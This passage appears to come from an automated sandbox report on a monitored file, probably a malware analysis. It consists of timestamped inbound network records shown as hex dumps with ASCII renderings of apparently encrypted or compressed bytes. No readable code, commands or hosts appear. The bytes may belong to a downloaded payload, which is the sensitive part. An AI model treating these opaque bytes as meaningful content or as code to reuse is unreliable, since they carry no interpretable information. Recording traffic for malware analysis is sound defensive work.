Ascii: AQPtc->ak_$SEVN cg7LcyD_L{sJ,h!8a)nyh]liD5=gF?8[s\|{@b7r}MFuN$.g5>2RAnfy4#>>EV?(4YG1`.<CBg5]y?HrEV
2022-08-23 01:43:52 UTC	362	IN	Data Raw: 32 03 ef 82 02 55 f7 41 92 f6 c9 86 a2 35 41 f4 02 47 45 d8 4b 02 b7 9d 8b 29 b9 0f fe 14 1a af e2 e5 a5 08 2d e2 c5 66 48 1b 2d 13 2b 5f e4 76 bf c2 32 3c 63 bc f3 c7 15 53 39 fa 92 ee d4 9a 8f 24 16 a4 32 29 df 77 33 50 29 2e 86 43 7d 97 22 fa 84 30 ca d3 ac de d7 5d af 24 bd 41 f6 43 eb 3a 7a 8c ee 24 66 e3 27 77 66 0b 7a 4f 03 ff 5e 25 18 d7 09 79 4e 7d 59 02 e1 d2 a6 c5 82 66 3d 83 6e 48 2a f3 ba 3f 1f c6 cf 94 f3 f2 c2 d6 a7 d2 61 14 89 7a 1d 64 f4 3b 11 2c d5 27 32 71 75 dd 3c da 30 08 ae 13 02 88 b3 a3 5e b4 a4 f0 9e 0d eb 55 9e 46 3c 5c 0a 70 9b 3f 86 ba a9 fe 4a ba 94 86 21 41 d2 02 c4 63 51 e1 01 47 c7 db ed 39 6c 18 20 2c db e8 8a 7b 3f 9d 27 d2 1f 7b f9 ae df 2e 6d 59 cc 0f 2a ab 04 0d f4 3c 14 7a 81 8d bb 3e 5e 45 ee 51 50 29 4a 53 96 df 1c Data Ascii: 2UA5AGEK)-fH-+_v2<cS9$2)w3P).C}"0]$AC:z$f'wfzO^%yN}Yf=nH?azd;,'2qu<0^UF<\p?J!AcQG9l ,{?'{.mY<z>^EQP)JS
2022-08-23 01:43:52 UTC	378	IN	Data Raw: 5e 37 59 6d 80 d4 dd 50 81 ad d7 17 ca b7 79 58 2c 4c e2 a2 9f a6 ad b8 37 72 8e 1b b3 7d 4d f1 5a e2 2f 4d 8e 1b 96 ad ea d5 d0 d7 5c a2 f3 3d e7 1a 78 ab 63 55 6e 36 3c 34 94 87 32 5d e5 76 cf 9d f9 3a 51 65 0b fd c5 8d 59 6e fa a9 ed 47 e5 7f 2f ae fb 75 b6 83 16 58 c0 35 14 50 46 3c 39 10 0f 75 bd 53 52 fa f7 c8 6c f5 9e 72 db 3e 6e e8 90 6c e0 fc b3 1d c1 98 dc 74 73 fc 67 56 0c 67 cf 48 cc fb a6 2b ae b1 57 1f b6 14 d4 b3 cf 9d f9 3a 51 65 0b fd b6 ad ac b2 a7 e1 e2 98 ff f5 84 37 68 7e c8 e8 46 42 d6 c2 e3 2f 25 57 5f ab d5 4d eb 0d 42 ba d7 cb 1c 49 91 2d 28 1a 2f d0 10 3d d7 85 fe 9a cf 9d f9 3a 51 65 0b fd ca 8d a0 72 7f 77 60 ab 59 02 e1 d2 a6 c5 82 66 6b f6 e4 0b e4 42 12 91 08 d9 8d b5 a6 45 87 99 5f 2f 7d fe ad ef 1a 63 6c fa 43 cf 99 9f e9 Data Ascii: ^7YmPyX,L7r}MZ/M\=xcUn6<42]v:QeYnG/uX5PF<9uSRlr>nltsgVgH+W:Qe7h~FB/%W_MBI-(/=:Qerw`YfkBE_/}clC
2022-08-23 01:43:52 UTC	394	IN	Data Raw: 24 c5 ae 16 82 0a c6 5c c8 18 7b 86 c9 a6 e0 5b fa ee 73 f8 1a e2 e9 eb 4d d4 4f 16 5e ac 4f 42 f9 40 f7 83 a1 cb 8c c3 24 30 36 6a 38 ff e2 e2 08 c9 46 58 11 23 54 ab ad 49 81 6d d6 e2 a3 da 07 c9 05 56 6a 12 ff 72 7e 46 5a e6 ab ce ed 4e 10 b9 30 a3 36 9c 35 ef 63 e0 8c 47 87 54 6c 8c c1 d9 90 24 04 dd a6 9e 57 e0 62 40 17 4d 13 72 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 9b f4 c0 ab c3 df 7a ee f0 82 df 01 1c 69 da d3 33 21 1d 74 bd c7 04 a9 a3 84 1b 5e 87 ac 4f 26 db 15 86 02 b9 88 96 59 f5 8a 80 f9 55 51 26 db 3b 42 5f 04 c9 b8 52 9b d7 37 31 f5 cd e1 cd 7a 74 03 ba 4a 93 21 95 30 5f ba db d2 0f 8f c8 ab d9 58 ad 9c 0e fe 58 4e ba 9e 4d 53 59 a9 bc b1 8b fb 81 22 92 01 9a 22 19 4b 32 05 cc 82 53 6d ad af df 75 fd 8a a3 5e 8d 96 9e 1a 9a d8 b6 Data Ascii: $\{[sMO^OB@$06j8FX#TImVjr~FZN065cGTl$Wb@Mr_.I"1zfzi3!t^O&YUQ&;B_R71ztJ!0_XXNMSY""K2Smu^
2022-08-23 01:43:52 UTC	410	IN	Data Raw: 24 e9 e8 1f b9 13 5d 26 ea a9 a9 12 24 b1 bb 29 06 dd b3 d9 32 ec 4f 24 2a 87 6b 22 cf f1 7c 29 25 77 95 40 b6 aa 4c 4e 1d 85 ff c2 e5 80 c0 5b 76 86 64 1f 2f e3 42 df 98 cb 9f 3a 7c 2f 09 3f 19 65 0e 6d c7 b4 0f db 32 ad 3d e5 58 5d 5a 68 e8 90 51 08 38 ef ba d9 91 df b7 52 a4 f5 21 8b d5 d4 38 75 18 26 fa cc 76 f6 dd b7 06 ab e9 29 37 72 8e 1b b3 7d 4d f1 34 3e 13 22 e9 f8 d4 59 bc 35 3e 32 af e6 52 96 1d 6e 04 3d d6 a9 16 d2 b9 a1 92 66 79 7e 3a 78 78 af 18 53 be 1b e1 6c 45 56 13 91 a7 9c 04 e3 af 86 3a 92 55 12 09 2c 9a 34 c2 dd 59 47 86 fc db 9a bf 89 6d c2 03 85 19 bf da 85 3b 1b 85 ee 26 1e bd 2b c5 96 10 45 55 2b 55 29 a8 de a1 97 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 42 71 1e 13 26 f6 ae 94 d7 2d de d9 0b 7b f6 87 b6 a1 91 bf 78 1f 74 Data Ascii: $]&$)2O$*k"\|)%w@LN[vd/B:\|/?em2=X]ZhQ8R!8u&v)7r}M4>"Y5>2Rn=fy~:xxSlEV:U,4YGm;&+EU+U)_.I"1zfBq&-{xt
2022-08-23 01:43:52 UTC	426	IN	Data Raw: 8b ba a2 d2 ae fe 91 3b 7a 71 a5 5c 83 f3 5b d3 c8 30 e6 02 fd d9 1a bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 c4 3a ad 96 29 41 6e 0e 0d 40 f6 85 a0 de cd 7b 10 ac ef 67 cf 9f 44 fc 0d 40 f6 85 a0 de cd 7b f4 b3 4a d7 5f 2e 00 a6 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 4a f1 b7 cb 43 02 23 c5 7f 5b 08 47 6c 46 5e ec 6f aa 79 a5 a8 aa b9 59 c5 21 2d 71 79 c9 c7 28 b5 bb c3 c6 57 99 7c 71 af 69 a1 45 ab 39 a6 84 e3 25 2c 5d 18 9c 0b c5 65 57 49 65 4a b7 4e 4d 79 a9 7c 74 b5 c2 9a 1e d2 83 84 15 87 2e 69 ce cf 39 4f bd 78 92 0b d4 59 c9 44 39 47 a3 d9 b3 90 5c 86 6d f2 1e 9a 54 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 1b 0b a3 ec ef c0 7e a7 e1 39 72 9e 46 2b f9 bb cc 75 32 69 2d 46 b5 c9 43 bb d5 c4 ec 27 04 Data Ascii: ;zq\[0_.I"1zf'p:)An@{gD@{J_.'pzfJC#[GlF^oyY!-qy(W\|qiE9%,]eWIeJNMy\|t.i9OxYD9G\mT_.I"1zf~9rF+u2i-FC'
2022-08-23 01:43:52 UTC	442	IN	Data Raw: 07 d8 79 fe 5c 2a d8 1f a4 34 35 e4 1f 9f f2 fb cc d4 b4 a7 b2 b6 40 1c 7f fc 2b d7 ee 04 85 4d 41 9e 88 81 50 8d f9 06 d6 e9 7f 7c ba 8d a9 90 0a 33 5c a2 23 e0 d0 13 2c d2 9b d5 19 99 f4 e9 9c af 99 f6 b7 36 d7 84 07 05 50 48 54 28 66 40 a3 f0 64 56 04 7f ef 05 70 0f 24 dc 4d 4c 20 65 47 29 05 1f f9 0e c6 47 89 3d 0d f5 0f ed e2 6f 0e f4 51 61 3f dd 14 2f 63 81 e3 ea 81 1b b2 2b 6c a6 d3 8b 17 61 f5 0e 14 1d c8 dc c9 bb 4c 05 69 2e 96 21 ef 12 16 a8 fe d7 54 ca e4 bb 2a 02 e9 75 05 25 c7 69 3c c7 2e b6 82 95 60 8e 22 ef 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 83 09 3e d5 f6 26 71 62 41 05 3a f1 a0 42 bb 7e e5 66 0c 30 62 7e db 8e 43 bb d5 c4 ec 27 04 52 51 c0 e9 c3 55 a0 36 15 20 1f 6f a1 82 c8 88 a4 c0 e2 f3 6c de c9 93 64 a5 24 2a 6b 2d ab 3d Data Ascii: y\45@+MAP\|3\#,6PHT(f@dVp$ML eG)G=oQa?/c+laLi.!Tu%i<.`"_.I"1zf>&qbA:B~f0b~C'RQU6 old$*k-=
2022-08-23 01:43:52 UTC	458	IN	Data Raw: 73 c0 0b d5 58 d9 65 ea af 2b e5 24 c1 77 c4 ee fc 89 bf 75 19 1a 46 c7 3f 83 d6 6d 84 d0 ee e9 f8 7b 25 01 72 27 07 79 45 56 13 91 a7 9c 04 e3 af 8b f1 b7 ec 52 1d 08 9a 34 c2 dd 59 47 86 fc 46 29 67 7d f8 d3 27 90 ee c8 dc 9f 43 a8 6d bb f2 b4 e7 d2 c7 93 b1 b4 4a 23 77 e1 29 02 15 5f 6c c7 b3 2d 5a 33 72 9b 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 63 36 51 d5 a6 61 f7 9c 4a 2b 16 fb ae ee d8 e9 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 83 09 3e d5 f6 26 71 62 41 05 3a f1 a0 42 bb 7e e5 66 0c 30 62 7e db 8e 43 bb d5 c4 ec 27 04 52 6e 01 33 cf a2 e9 7a 08 ce c4 75 33 ef 31 46 0c c0 e2 f3 6c de c9 93 64 a5 24 2a 6b 2d ab 3d dd 59 98 cd 86 c7 f2 34 9d a4 ae 17 ab 48 0c 08 22 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 Data Ascii: sXe+$wuF?m{%r'yEVR4YGF)g}'CmJ#w)_l-Z3rS>zft`9aQc6QaJ+_.I"1zf>&qbA:B~f0b~C'Rn3zu31Fld$*k-=Y4H"@{zf
2022-08-23 01:43:52 UTC	474	IN	Data Raw: c2 18 7c bf 9c d4 63 82 0f a4 f0 b0 19 7c 08 74 c9 81 7a c8 c6 dc e3 f5 35 d5 71 a5 81 98 fb 0a f1 ab 5a 45 ff 95 56 3f fd 59 5c 0d 3c f4 27 3a d6 0b 0e 5c 2a 6b 25 c6 47 84 71 45 49 6c 8a b7 4b a2 24 53 09 da 9a 89 3b 89 8c e9 80 ed cd 14 4e 84 a0 01 7d 17 83 dd b1 1f f8 ae a0 e1 d9 ad 16 32 ba 53 24 4d a6 f2 2a 1e 6e d3 a2 5f 67 fd aa 9e 42 f0 3b 69 0c 87 6b 2a f9 67 46 50 54 14 3a 3a b7 78 2b 74 ab 52 3f 53 08 78 97 97 47 c7 45 56 13 91 a7 9c 04 e3 4d f6 dc e0 81 2d 30 74 9a 34 c2 dd 59 47 86 fc 3d c1 1a 16 f6 59 b7 f4 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 f4 63 55 d5 20 79 5c 04 71 3b 7e 65 7a 51 11 32 f2 ef ec 60 00 28 6b 71 29 77 d9 9b d2 0c b0 4c 8f 8a 99 6a 78 03 b8 5f 0d 06 60 d4 bd 88 f4 28 5a 38 9f 8f d2 1f cf 78 77 03 df cd c9 5c 77 Data Ascii: \|c\|tz5qZEV?Y\<':\k%GqEIlK$S;N}2S$Mn_gB;ik*gFPT::x+tR?SxGEVM-0t4YG=Y_.I"1zfcU y\q;~ezQ2`(kq)wLjx_`(Z8xw\w
2022-08-23 01:43:52 UTC	490	IN	Data Raw: 9e 16 7a d6 ac 1e 41 bb ce 9a 1b aa 6a 3a 63 d1 5f 18 39 95 e9 1d cf f9 01 1e 31 48 04 3f c3 ee 86 83 7a e9 e2 f0 57 e1 c5 4b a4 b1 f6 12 9d 14 d4 7a 1e 44 59 77 18 cc 68 e5 53 34 65 a4 ea 96 13 c0 77 15 5d a6 4f 44 ea a5 22 6e 0b 02 c0 12 73 1b 91 9a 5f c7 7f 73 26 f7 56 ef 4d 8e cb 46 18 c2 b2 c5 3f 98 01 e3 35 40 00 f6 53 ba 04 86 5e 7a 51 bb 4e 53 e8 33 4a ce b0 bf 46 25 b3 c1 06 6f 6b 6f d9 45 65 24 bb 72 b1 9e f4 83 2b 88 d1 3f 8e 8b 5b 66 fe 2b 5c 76 b9 c3 86 ac d4 ad 1f 1f 47 9b 74 95 ac c4 e7 df 92 39 b3 9b 73 b0 e3 53 2a d4 fb 65 4d 07 aa 66 ce 5b 90 ee 86 1c 54 a7 41 7c 1c ba 7e ce b1 e8 1b a0 39 e9 f6 2b 1a c7 9e 35 de 23 08 09 78 1f 4e 4f 02 c2 2a 0b 6a a2 bf dc dc 6e 10 17 bc f9 d7 e2 c5 8e 95 c1 be f2 67 a2 37 4e cd 79 47 87 e6 84 2a 5a 38 Data Ascii: zAj:c_91H?zWKzDYwhS4ew]OD"ns_s&VMF?5@S^zQNS3JF%okoEe$r+?[f+\vGt9sSeMf[TA\|~9+5#xNOjng7NyG*Z8
2022-08-23 01:43:52 UTC	506	IN	Data Raw: e4 63 b9 83 14 f7 d3 a4 98 5a 1b 9c 5e df d0 e6 a7 c0 43 9e c2 d9 30 41 74 9a 71 11 62 42 35 c6 c6 a8 93 c0 bf 5d 06 ce f7 1e f2 91 9b 34 47 a7 5a b8 34 6c eb e1 07 68 6c 82 29 09 06 f1 cb c2 da b2 1f be a1 f1 4a f9 44 ab 0f c9 f4 a9 d8 a1 9f fb 04 01 e8 e3 c0 2d b1 de 60 e1 67 27 fb d4 3f df f7 47 b4 7f 84 04 45 56 13 91 a7 9c 04 e3 10 ac e1 b8 e0 a5 e4 b7 6d 68 b4 cb 66 8c 2b af 5a 7f 02 26 07 4a 88 c4 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 7b f2 cd 24 a9 0b 8e 68 6e 57 a4 be 59 db 78 bc 8b b5 f1 3c f3 6f 7d 86 c4 ad 53 6e 4f 3d 5d b0 30 f0 6f 76 2d 92 4f 99 45 a6 8a 35 24 e5 c5 78 f3 e0 90 fc a4 70 dd 88 23 45 92 e6 d4 86 69 3a 6c 30 52 8c e9 19 81 da 4b c7 44 3a 6c 68 66 96 79 ae 27 5f 2b c3 53 16 81 84 cd 96 7c 4d 06 7c 23 cd f6 1f 1d cb b2 Data Ascii: cZ^C0AtqbB5]4GZ4lhl)JD-`g'?GEVmhf+Z&J_.I"1zf{$hnWYx<o}SnO=]0ov-OE5$xp#Ei:l0RKD:lhfy'_+S\|M\|#
2022-08-23 01:43:52 UTC	508	IN	Data Raw: 04 e3 16 1c d0 37 e9 39 ce 7b aa 10 87 54 bc c3 f9 ce 91 34 46 56 74 f2 0c a3 33 b6 6f c3 e2 5f 5e c2 29 ad ba 16 b8 ce bc a2 65 bf fb 72 47 c3 5f 38 39 c8 a1 5e 4d 73 11 1b 38 24 19 4e 1b 30 f1 00 bf 7f b4 3c 35 ab 89 aa 65 57 46 52 1b ab d0 df c3 44 62 61 ab c6 d4 0b 3d 12 c1 6b cd 9d 72 d5 71 8e 0a b8 71 28 a4 53 ad 55 30 a7 c1 61 5f 39 91 20 6d 31 06 a8 7c 12 d7 a0 58 e6 d6 e5 b7 cc 59 30 0a 26 e9 50 74 a3 2d 27 79 24 ad f9 91 ee 60 0c bc d4 f8 60 57 84 b9 c1 26 62 42 c4 21 44 54 94 05 17 f0 43 db 6e 07 9d 32 f1 80 1b 55 cf 63 04 a2 65 67 c6 ba a2 14 c7 7b 86 65 e6 ef 69 7f ca 70 49 ee 52 eb 9b 40 f1 42 3d 01 c0 99 3d ae fc 1d 7c f9 0a 8b 3b fa 43 38 94 a0 4f 9c eb 2d 01 64 5d f9 06 43 b2 bc 1c 94 e0 cb e1 67 7e 40 fe 9c 57 6e 0b 9f 81 80 8e 34 d4 9b Data Ascii: 79{T4FVt3o_^)erG_89^Ms8$N0<5eWFRDba=krqq(SU0a_9 m1\|XY0&Pt-'y$``W&bB!DTCn2Uceg{eipIR@B==\|;C8O-d]Cg~@Wn4
2022-08-23 01:43:52 UTC	524	IN	Data Raw: 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 f3 46 38 0f 05 4f b6 e6 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 b3 bb 56 7c d2 50 13 d0 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 c8 30 e6 02 fd d9 1a bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 58 45 a3 6b 66 a4 ce 9d c8 30 e6 02 fd d9 1a bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 99 d5 f3 04 9f f1 d1 21 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 99 d5 f3 04 9f f1 d1 21 ab d2 b1 db e2 Data Ascii: "1zf'pF8OS>zfV\|P_.I"1zf) _.I"1zf0_.I"1zfS>zfXEkf0_.I"1zfS>zft`9aQ_.I"1zf@{zf!@{zf!
2022-08-23 01:43:52 UTC	540	IN	Data Raw: 3e bf 79 0c 39 6d 37 5a 8d 29 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 27 9d e2 16 97 4a e9 78 c3 34 6e d8 97 84 14 3b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 c1 5a 68 30 63 bd 31 ae 18 ce 58 b0 d6 bc 47 92 56 b7 6f 32 0a ae 3b 04 cb 6f 5b 33 25 1e a3 e9 db 08 68 e5 98 7e 1c 77 e9 99 47 23 fb eb 38 a3 25 83 ed 3d 24 90 e9 eb 4e e1 4b 6d 31 04 47 35 3e 39 ae 97 b4 f9 a1 06 51 a7 10 b6 61 f9 18 1c bb f7 d8 ba 6a a3 0a 6b cb 98 bd 13 9a 28 d1 b7 e7 2c 87 43 66 48 2e 7f 45 56 13 91 a7 9c 04 e3 de 50 e7 24 a0 25 da 12 6d 68 b4 cb 66 8c 2b af a4 14 65 78 4e 0b 6f 6b 7c 14 93 d9 d5 3e d1 a9 a8 60 f9 bd 9b c9 12 5d e5 9f 12 cd 17 b2 b2 28 a9 cf ee 65 7b 29 77 23 a8 52 cf c2 81 aa 0d 53 3b 4e 1a cb 03 e5 de dd 09 02 9b 42 e9 bc dd 26 c9 40 22 e1 19 Data Ascii: >y9m7Z)@{zf'Jx4n;_.I"1zfZh0c1XGVo2;o[3%h~wG#8%=$NKm1G5>9Qajk(,CfH.EVP$%mhf+exNok\|>`](e{)w#RS;NB&@"
2022-08-23 01:43:52 UTC	556	IN	Data Raw: e9 03 32 ed be e4 0e 0f 68 c6 65 60 9e 53 4a a8 1f a1 ec 62 bd 05 ae fd 4c 54 76 bc ba 39 f9 a3 d8 d5 14 f6 1c 5a ed 31 de 5b 15 e5 e5 21 cc ea e7 1a 06 98 bb fe 54 77 a3 98 82 51 77 2e cb cc d9 fc 7d 99 10 89 27 ae 80 32 07 d1 40 02 f9 75 71 08 0d 59 83 e2 93 a5 8a 6a 94 b3 fb b6 7a c5 2f ab 75 16 9b 2d ad 5e 34 5f 63 fd f1 70 55 a9 ab 04 40 7c f5 7d 2c 20 c8 99 ec 2d ce 25 a9 b9 37 c2 45 56 13 91 a7 9c 04 e3 60 fe 89 73 5b af db 88 6d 68 b4 cb 66 8c 2b af 6c 44 18 90 50 a4 83 6e ff 3d 4b 34 55 62 ee 26 3b 31 ae 42 c2 1e 5a a6 5c 06 0e 6c e6 8d 00 ba 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 f4 55 03 1d aa 8b fd 52 7e b0 bb 8d 4c 31 00 95 09 7f e9 ce 1f eb 1a bb 93 54 cc 9e 34 a4 e3 05 ca f6 0a d5 63 f5 22 ca d8 ca c3 45 d3 22 2b bb fa 87 f2 f4 2b Data Ascii: 2he`SJbLTv9Z1[!TwQw.}'2@uqYjz/u-^4_cpU@\|}, -%7EV`s[mhf+lDPn=K4Ub&;1BZ\l@{zfUR~L1T4c"E"++
2022-08-23 01:43:52 UTC	572	IN	Data Raw: 8f 19 cd f7 89 ff 0a 10 0a 30 ae 57 5d 1a 88 60 3e f2 19 c6 ac bd dd ec 5b ae 7a 63 f1 14 2c a9 c9 c3 8d 72 5f 1c 55 f3 7e ea 1b fd ac db 7c 47 ab 02 15 58 9f 18 23 1b 0c 5a 5d 50 49 fb 01 87 c4 c0 85 f6 d7 4b a6 e4 37 5f 9f c1 db 21 83 f1 a0 22 32 df 36 7d ce 5f f3 5c 04 7d 70 6c cd c0 02 a1 43 96 8d 69 6f 42 d8 06 2a 68 7b db 7c bf cd fe 86 49 d3 a2 0c 7e a2 63 45 56 13 91 a7 9c 04 e3 5a 4a e3 e0 85 6a cb 7c 3e 9b 1e f4 db b4 08 95 f9 ae d2 cb 43 a6 b2 bb 68 20 77 3c fd c3 50 19 84 8e da 7a c7 e4 3c 80 92 84 9c a8 4d 06 89 df 48 0a 0c d0 4a 23 86 5a b1 8b b3 14 9d 78 89 52 d8 86 7d 3c 0f e0 5a 4a 87 97 57 b9 47 9a 2c 1d 92 4c 18 e9 c8 2a 3b 64 37 72 8e 1b b3 7d 4d f1 a2 8b fc e9 7c 0e c9 39 bc 35 3e 32 af e6 52 96 bf 16 08 31 c7 80 3b fd b9 5c 0f 5b 9b Data Ascii: 0W]`>[zc,r_U~\|GX#Z]PIK7_!"26}_\}plCioBh{\|I~cEVZJj\|>Ch w<Pz<MHJ#ZxR}<ZJWG,L;d7r}M\|95>2R1;\[
2022-08-23 01:43:52 UTC	588	IN	Data Raw: 7f 72 2b ac 4d 0b 05 c3 ea b4 53 70 df a8 b3 bc 71 7a 8e b6 2b 68 21 8b e0 ef ef 00 b8 c2 3e 14 b4 e3 ca f5 d2 8b ee 21 af 77 37 72 8e 1b b3 7d 4d f1 9f aa 5f d4 92 a2 7f 5f b0 20 5f 33 2e 60 f7 eb 0c 5f 54 87 49 43 e5 08 4a 0b c4 eb 97 7b 8a c5 4f 13 b9 43 19 61 5b 98 e8 28 aa 7f ae 76 ae eb 7a 29 61 24 a0 81 6b 34 fb dd ec 4d 70 34 b6 0c a6 b1 f1 2c 37 ab 19 65 e0 e8 bb b8 60 47 1f ed 05 32 e5 be 26 0c 01 a6 4f f7 7f 20 a1 e3 ad a7 f8 2d d4 76 12 6b ca 6d 9e 45 2c 1a 9e eb 14 e9 1e d8 b5 92 79 fa 2e 6c b3 69 88 0b d6 a8 f5 8c a0 86 f3 39 ff c2 87 28 25 a6 f3 df 12 ec a0 1c 4a c9 51 de 3b d4 b7 0b 21 07 de e6 43 ea 61 6a c6 ef 8d 09 ea 05 26 e6 cc 95 18 57 ed d2 08 4e a1 99 59 b1 cc 5f 9d 77 b9 5c 0f 5b 9b a3 2d 7a 8a 50 46 8e 69 d8 79 f1 92 42 f5 64 b4 Data Ascii: r+MSpqz+h!>!w7r}M__ _3.`_TICJ{OCa[(vz)a$k4Mp4,7e`G2&O -vkmE,y.li9(%JQ;!Caj&WNY_w\[-zPFiyBd
2022-08-23 01:43:52 UTC	604	IN	Data Raw: f8 75 ad e2 72 96 6b 45 1b 3c 7d 16 e1 54 5d d3 4f 4a 03 9d 74 50 9a e9 c0 ad 25 63 1b 62 4d 6b 91 ba 94 d3 3c fb 2e 2d 9b c8 61 81 98 a4 68 64 51 88 ba ae e7 27 cb 50 60 ca a2 45 b8 06 82 21 17 d5 38 cf 45 80 cf 1a 8d 60 43 79 81 bb 73 75 75 96 37 72 8e 1b b3 7d 4d f1 d4 8f 42 fa 97 83 18 a9 bc 35 3e 32 af e6 52 96 99 dc 2b a5 cd c3 ef 28 bd 51 55 30 57 28 96 ab bd ca ea cf b9 6d fc c1 d2 e4 19 6a b6 ae 99 f1 d7 f0 40 d5 08 57 3c fd 9f 16 1e 48 06 a2 05 9e a7 35 c3 3e 27 05 52 98 e2 18 79 b3 b2 2e 40 f2 bf fd 70 c8 7f 50 d4 04 d1 8b 31 5d 4a a5 90 af a8 e5 aa 42 0f 47 9f 52 1e 8f 61 95 51 46 12 13 26 92 b6 fd c6 e9 a9 0f 79 40 1c de f6 1f a7 be 10 5c 53 ce f9 c9 bb 0f 47 2d 63 27 4a db ad 7f 7e c5 80 e6 16 24 ff 8d 94 89 73 9f 92 30 ef 99 98 b1 1a 92 49 Data Ascii: urkE<}T]OJtP%cbMk<.-ahdQ'P`E!8E`Cysuu7r}MB5>2R+(QU0W(mj@W<H5>'Ry.@pP1]JBGRaQF&y@\SG-c'J~$s0I
2022-08-23 01:43:52 UTC	620	IN	Data Raw: 74 55 59 a0 0e 29 87 ed fc 0e b3 7f 42 ad 8b 3b 22 28 68 54 4a 9b 7f e7 6f a7 2d 53 12 31 80 ca d8 61 d5 3d fa a2 f5 43 77 14 c4 20 69 5a 3d 06 f0 ec 8b ba a2 d2 ae fe 91 3b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 b5 6c 1a 15 aa 50 24 d6 84 05 46 80 52 fc d1 fa 68 85 f9 1b 04 9b 70 18 35 30 95 2f d6 6b 3a 96 76 2b c5 cc 3a ad 91 e2 f1 86 81 c0 fe cc 6a 71 aa e3 0a fa ad b6 b9 ef 1e 28 05 22 b3 72 6e 31 a6 10 25 b5 a6 c4 db 3b 1d d6 ca bd 0f 6a 15 55 08 fb fa 17 b0 e7 b7 07 b7 4f 5f 08 ed 86 42 49 e6 43 a0 b9 8b 11 c4 ed 8e 2f 4c 5b 25 5a 90 62 5a 3d b6 64 17 37 e8 77 17 79 9b 77 7a 1b 48 75 a9 d5 4d d3 fc e5 a9 00 80 78 c1 40 eb 3f 7f 38 04 4a f3 f8 7a c0 c7 56 8a c6 9e 4b 63 eb c3 ab e4 68 72 e2 18 5a 1d 76 c3 5d ec 8d d1 8d fc e7 bc 4f 30 0a 5f Data Ascii: tUY)B;"(hTJo-S1a=Cw iZ=;_.I"1zflP$FRhp50/k:v+:jq("rn1%;jUO_BIC/L[%ZbZ=d7wywzHuMx@?8JzVKchrZv]O0_
2022-08-23 01:43:52 UTC	636	IN	Data Raw: 60 26 c8 45 0f c7 9e 6a 3e ff 64 1b 63 49 93 9d af 1e 4f 1a 64 c0 e0 35 4c da 80 37 a5 3c 46 76 f9 e8 44 bc f7 25 45 3c 81 d0 05 a6 5e 84 c6 2c 95 1f 36 4b 3d 62 3e de fd 74 2d 49 bb 0b 92 d1 c1 c8 b9 7f bf d1 36 47 2a bc 28 02 75 c1 b6 d8 64 10 25 1d 38 8e cf d1 24 d6 0e 8c 62 22 2f 79 20 6f 5e d4 8d cd 3a c4 62 2e 32 a6 20 59 4b 75 aa 53 45 56 13 91 a7 9c 04 e3 df bc 62 86 bd cd 35 d7 7b 54 50 5b cd a8 45 f4 48 c4 ae 48 94 91 c8 3f 77 6e a1 2a d1 59 6a ff 11 cd a2 f3 1e e6 39 2c 86 cc 02 c6 70 4f a5 58 44 de 73 70 b5 2c 1e f7 8a f9 b9 74 54 7f 82 25 e7 b4 29 87 80 7a 7c c7 63 06 06 5d 22 4c 13 46 f0 e7 7a c6 6f d6 b2 51 2c b7 2b 5c ce cb c0 24 ea f1 36 87 ee 3a a1 51 c2 22 bb 10 3c 1c c0 8f 89 3d 0d f5 0f ed e2 6f 82 41 a9 a2 fa fd 04 40 b1 9f db 77 04 Data Ascii: `&Ej>dcIOd5L7<FvD%E<^,6K=b>t-I6G(ud%8$b"/y o^:b.2 YKuSEVb5{TP[EHH?wnYj9,pOXDsp,tT%)z\|c]"LFzoQ,+\$6:Q"<=oA@w
2022-08-23 01:43:52 UTC	652	IN	Data Raw: 20 1b 5b c7 de 0b 2e a6 4a ef fa 70 85 8e 71 78 97 e8 ef de 6f c0 81 68 db 65 db cc 72 ad 5b 68 19 c0 09 1e 46 f3 68 60 03 db 1b a7 b4 b8 f5 80 af 5f 95 b5 1a fc 13 81 4a 5c cb 45 0c 43 59 81 79 fb 7f c4 00 c5 80 ac 16 02 a6 27 13 06 94 ca ad bd 37 72 8e 1b b3 7d 4d f1 e0 2f 1f 48 0c 81 82 f7 60 7f 0b dd 7e 5a 89 7a c7 22 36 87 f0 b2 78 0f 59 98 cd 86 c7 f2 34 9d 93 dc ff 1c d1 96 f0 a7 b6 cb a9 e5 68 2f a9 dd ea 9d 8f 2e a4 7c cc 0a cb 08 ec fe ac 01 27 ac 51 c0 e9 c3 55 a0 36 15 9b 2e 1d 03 62 93 f4 b3 2f 0c a4 97 36 84 fa 9d dd 1b 41 b5 ec 1f ef 3e 59 02 e1 d2 a6 c5 